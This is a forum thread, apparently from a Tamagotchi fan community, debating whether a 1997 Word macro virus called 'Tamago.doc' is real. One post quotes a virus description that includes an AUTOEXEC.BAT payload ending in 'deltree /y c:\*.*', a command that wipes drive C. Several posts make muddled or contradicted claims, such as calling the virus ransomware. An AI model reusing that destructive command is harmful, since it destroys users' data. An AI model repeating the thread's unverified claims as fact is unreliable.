Anyone remember the virus 'Tamago.doc'?

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This virus is based off the Tamagotchi toys. When starting the computer, it shows an ASCII picture of Babytchi with the text "eXPecT nO MeRcY FRoM HiM".
Do not go to this virus, it will show an image of my favorite tama and the text. It might damage.
This virus is based off the Tamagotchi toys. When starting the computer, it shows an ASCII picture of Babytchi with the text "eXPecT nO MeRcY FRoM HiM". aaaahhh crap, i wanna avoid that ST*PID virus out of here. bruh.
 

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Woah, I've never heard of this before! Where did you hear about it? I'd like to do more digging as this sounds like good youtube video fodder! :ichigotchi:
 

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Woah, I've never heard of this before! Where did you hear about it? I'd like to do more digging as this sounds like good youtube video fodder! :ichigotchi:
In the tamagotchi fandom, in the page 'List of references of Tamagotchi from other media', then select the page 'others'. Below the thing with a v2 head is tamago.doc.
 

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Tamago.doc has/is:VirusesASCII picture of Babytchi with the text 'Except no mercy for him'A corrupted .doc file
Hard-to-findVery dangerousMight harm your PCA .doc ransomware based of Tamagotchis
 

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Thanks! I found that page pretty easily, but I'll deffo do more digging on it :D
I wonder if I could capture a screenshot of the ASCII if I ran it in a sandbox :unsure:
 

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Thanks! I found that page pretty easily, but I'll deffo do more digging on it :D
I wonder if I could capture a screenshot of the ASCII if I ran it in a sandbox :unsure:
Be VERY caeful when trying to download the doc, as it might get a virus.
 

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The date Tamago.doc is made was 1997, one year more than the invention of Tamagotchis.
Also, the ASCII picture of babytchi is this;
Babytchi_USA.pngHa, that's almost an ASCII.
 

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also i did babytchi with ascii:
000000000000000000
0 000000000000 00
0 00000000000 000
0000000000000000000
00 000000000000000
0000 000000
0000000000000000
 

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also i did babytchi with ascii:
000000000000000000
0 000000000000 00
0 00000000000 000
0000000000000000000
00 000000000000000
0000 000000
0000000000000000
The point of running it in a sandbox would be to get actual footage of what it looks like(while theoretically keeping the computer safe), not to recreate what we'd imagine it to be or look like (^~^; )ゞ If I do decide to fuss with the file in any capacity I'll be sure to be very careful.👍

The other doesn't even look like an ascii, but regardless, I'll need to do my own research to ensure everything is up to my sourcing standards if I do a video on it. Thanks for the initial lead, however! :kurbotchi:

Also, you might wanna double check the rules on double posting. TT let's ya edit for a couple hours, so quick little follow ups don't get registered as a certain kind of canned meat and make extra work for our lovely and hard working mods 💖:tongue:

Edit: I might be thinking of a virtual machine over a sandbox. I'm not the most techy, I'd deffo get my partner to help me (^~^; )ゞ
 
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Anyone remember the virus 'Tamago.doc'?
Nope. Creepypasta efforts like this fall flat when there are people in the online fandom who've been around it (even if not actively participating in it) for the entire 25 years that the toy-line has been around.

In the tamagotchi fandom, in the page 'List of references of Tamagotchi from other media', then select the page 'others'. Below the thing with a v2 head is tamago.doc.
The only reference in the world. On a wiki. That anyone can edit. Added by this user: https://tamagotchi.fandom.com/wiki/User:BoyInCharge55

Edit: I might be thinking of a virtual machine over a sandbox. I'm not the most techy, I'd deffo get my partner to help me (^~^; )ゞ
Well, using a virtual machine could act as a sandbox. ;)) But still, I wouldn't go to any trouble over this.
 

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Yeah, I think it's safe to say this thing is bunk as heck. When I did some more searching(which I did specify that I was going to do...) it doesn't come up in ANY of those antivirus virus database sites what tell you information about them and what havoc they can wreak upon your machine.
Also, the only two results that show before it gets into generic anti-virus things are this thread and that site you shared...
ALSO, when I did more digging I only found a couple of youtube videos referencing "Virus.MSWord.Tamago" so I searched it up on google trends. Surely it'd have popped up a bit more than those two videos since 2004.
There's also the widely accepted theory that nothing is entirely purged from the internet. There'd surely have been a reference to it on a virus database site.
When you search "AVG trojan", you get articles about that virus. I did the same with "avg tamago.doc"... nada. As for "avg Virus.MSWord.Tamago" I saw a link to kaspersky. Never heard of it as an antivirus tool so I doubt it's a reliable resource for information in that regard.

April 1st isn't for another few months, this wasn't cool. I thought I might have had something interesting to talk about in a video but I don't want to intentionally spread falsehoods...


My best possible, no bad intentions intended, theory is that a few people made a few videos for views, you came across them a while ago and believed them to be real, misremembered the name, edited the wiki to try and ensure it's more complete, and posted here to contribute to the discourse.

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My best possible, no bad intentions intended, theory is that a few people made a few videos for views, you came across them a while ago and believed them to be real, misremembered the name, edited the wiki to try and ensure it's more complete, and posted here to contribute to the discourse.
... And then warned someone that it's a type of virus that didn't even exist in the year that it was claimed to be from, and then gave a completely nonsensical response when called out on that. ;))
 

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Yeah, I think it's safe to say this thing is bunk as heck. When I did some more searching(which I did specify that I was going to do...) it doesn't come up in ANY of those antivirus virus database sites what tell you information about them and what havoc they can wreak upon your machine.
Also, the only two results that show before it gets into generic anti-virus things are this thread and that site you shared...
ALSO, when I did more digging I only found a couple of youtube videos referencing "Virus.MSWord.Tamago" so I searched it up on google trends. Surely it'd have popped up a bit more than those two videos since 2004.
There's also the widely accepted theory that nothing is entirely purged from the internet. There'd surely have been a reference to it on a virus database site.
When you search "AVG trojan", you get articles about that virus. I did the same with "avg tamago.doc"... nada. As for "avg Virus.MSWord.Tamago" I saw a link to kaspersky. Never heard of it as an antivirus tool so I doubt it's a reliable resource for information in that regard.

April 1st isn't for another few months, this wasn't cool. I thought I might have had something interesting to talk about in a video but I don't want to intentionally spread falsehoods...


My best possible, no bad intentions intended, theory is that a few people made a few videos for views, you came across them a while ago and believed them to be real, misremembered the name, edited the wiki to try and ensure it's more complete, and posted here to contribute to the discourse.

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^^ thx~! I remembered It got added by a joke. no worries!
 

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Tamago affects the system on closing infected documents and copies itself to documents are closed or saved with new name. It contains seven macros:

Documents NORMAL.DOT
AutoOp AutoOpen
AutoExec AutoExec
AutoClose AutoClose
UtilMacro UtilMacro
FerramMacro FerramMacro
ArquivoModelos ArquivoModelos
ArquivoSalvarComo ArquivoSalvarComo

The virus does not infect the system and documents, if Environment contains the string "TAMAGOXI=GMS" (virus author's self-protection?). In this case the virus displays the MessageBox:

(sLeEp ModE) TaMaGoXI bY WiZaRD: EtERnAl LoVE 2 mY LitTlE gIrL Gi

On 26th of any month the virus writes to C:\AUTOEXEC.BAT that will display the message and delete all files on drive C:

@echo off
cls
echo.
echo.
echo.
echo SaLamA'S CoRP - AlL lEfTS ReSerVeD - 1997
echo TaMaGoXI bY WiZaRD***
echo ***
echo *
echo *
echo *************
echo * *
echo * **** **** *
echo * *
echo * ***** *
echo ***************
echo.
echo eXPecT nO MeRcY FRoM HiM
echo.
echo.
echo File' not found: Serve Alcatara Mane'? (S/N)
echo.
echo.
deltree /y c:\*.* >nul
OMG GUYS LOOK UP AND READ THIS VIRUS IS MALWARE FOR MICROSOFT WORD/WINDOWS
 

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*brings out the fisticuffs*

It's not a real virus and obviously OP is trying to fear monger with doubling down after being called out multiple times, some more tactfully than others. It could lead to an unnecessary, yet genuine, worry for other users and perpetuate misinformation in the future.

It might be time for a staff member to lock this thread. @Angotcha @Nazotchi25 @Penguin-keeper it's your call to make, but that's my opinion.
 

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The YouTube channel Izzzyzzz touches on a lot of these types of "viruses" in community things. Definitely sounds like one of those fake things that looks like a virus. Mostly because it is going over-the-top to be creepy as it can be. Her most recent video [The Horror Of Anti-Piracy Screens] talks heavily on the concept of these, and also touched on it in [My Little Pony Creepypastas: A Deep Dive], and [Virus Or Deep Web Horror? The Story Of Luna Game].


I'm positive she's mentioned them in other videos as well, I just don't remember exactly which ones. Although not Tamagotchi-centric I am just showcasing that these phenomena tend to show up in almost every community and space, the more "kid-friendly" the more likely. I didn't provide a link to the channel as not everything is family friendly, although she typically keeps the conversation and content PG-13 at worst most the time.

To add, you're really bad at citing sources. You make claims with no attempt to say where you get information from.
That being said, I did find some documentation on it.
Even without malware protection it is highly unlikely that this would work on a modern computer system. Windows simply refuses to execute a command to delete its system files, even with the admin account.
 
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